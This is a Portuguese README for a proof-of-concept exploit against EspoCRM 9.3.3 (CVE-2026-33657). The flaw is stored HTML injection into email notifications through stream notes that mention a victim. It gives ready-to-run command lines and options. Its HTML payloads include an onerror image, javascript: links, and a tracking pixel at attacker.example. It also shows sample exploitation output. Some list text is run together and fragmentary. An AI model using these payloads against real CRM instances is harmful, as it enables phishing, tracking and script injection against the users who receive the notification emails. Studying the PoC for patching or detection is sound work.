
EspoCRM 9.3.3 - Injeção de HTML Armazenada em Notificações por E-mail
Prova de conceito autenticada para injeção de HTML armazenado nas notificações por e-mail do EspoCRM 9.3.3.
O EspoCRM 9.3.3 renderiza e-mails de notificação de postagens do stream transformando o corpo da nota com Markdown e inserindo o HTML resultante nos modelos de e-mail com chaves triplas ({{{post}}}). Um usuário autenticado que possa criar uma postagem no stream e acionar uma notificação pode armazenar HTML controlado pelo atacante que posteriormente é renderizado no corpo do e-mail gerado.
O exploit executa a parte remota controlada pelo atacante do fluxo:
/api/v1/App/user.Note maliciosa contendo HTML.--mention ou --target-user-id para enfileirar um destinatário de notificação.A entrega do e-mail ocorre quando o job normal SendEmailNotifications do EspoCRM ou o cron processa a notificação enfileirada.
requestsNote no stream--mention <username> para notificações por e-mail de menção, ou--target-user-id <id> para notificações direcionadas de postagens no streamInstalar dependência:
python3 -m pip install requests
Caminho preferencial baseado em menção:
python3 CVE-2026-33657.py \
-u http://127.0.0.1:8083 \
-U testuser \
-P 'Admin12345!' \
--mention admin
Usar uma URL de rastreamento personalizada:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--tracking-url https://attacker.example/pixel.gif
Usar um payload HTML totalmente personalizado:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--mention victim \
--payload '<img src="https://attacker.example/p.gif" onerror="alert(33657)"><a href="javascript:alert(33657)">open</a>'
Direcionar um ID de usuário específico em vez de uma menção:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--target-user-id 0123456789abcdef0 \
--target-user-name 'Victim User'
Apenas coleta de impressão digital, sem criar uma nota:
python3 CVE-2026-33657.py \
-u https://target.example \
-U user \
-P 'password' \
--detect-only
-u, --url URL base do EspoCRM
-U, --username Nome de usuário do EspoCRM
-P, --password Senha do EspoCRM
--mention Nome de usuário a mencionar, sem @
--target-user-id ID do usuário para notificações direcionadas de postagens no stream
--target-user-name Nome de exibição para --target-user-id
--payload Payload HTML bruto a armazenar na Note
--tracking-url URL do pixel de rastreamento usada pelo payload padrão
--link-url URL do link usada pelo payload padrão
--marker Texto de marcação adicionado antes do payload
--detect-only Apenas coleta a impressão digital da versão; não cria uma Note
--skip-version-check Ignora /api/v1/App/user antes da exploração
--force Continua mesmo se a impressão digital da versão não for 9.3.3
--insecure Desativa a verificação de certificado TLS
Uma execução bem-sucedida cria uma nota maliciosa e confirma o destinatário da notificação:
[*] /api/v1/App/user: HTTP 200
[*] Detected version: 9.3.3
[+] Version fingerprint is vulnerable: EspoCRM 9.3.3.
[*] Creating malicious Note as testuser
[*] Note response: HTTP 200 ...
[+] Exploit payload stored in Note post.
[+] Note id: 69fddeef8db756271
[+] Mention parsed: @admin -> user id 69fdcfb66c34ccb81
[+] Notification target list returned by API: 69fdcfb66c34ccb81
[+] Complete remote trigger submitted.
Em uma instância vulnerável, o corpo do e-mail HTML gerado preserva o HTML injetado. Uma captura de laboratório se parece com:
<img src="http://attacker.example/full-process.gif" width="1" height="1" onerror="alert(33657)">
<a href="javascript:alert(33657)" style="color:red">re-auth</a>
Em um laboratório local do EspoCRM, após executar o exploit, acione o job de notificação:
sudo -u www-data php command.php run-job SendEmailNotifications
O corpo do e-mail resultante deve conter o HTML injetado na parte text/html.
@@version, o alvo provavelmente é uma compilação da árvore de fontes. O script continua porque o código subjacente ainda pode ser a tag vulnerável 9.3.3.--mention não produzir uma menção analisada, verifique as messagePermission e mentionPermission do atacante e confirme se o nome de usuário alvo existe e pode receber notificações.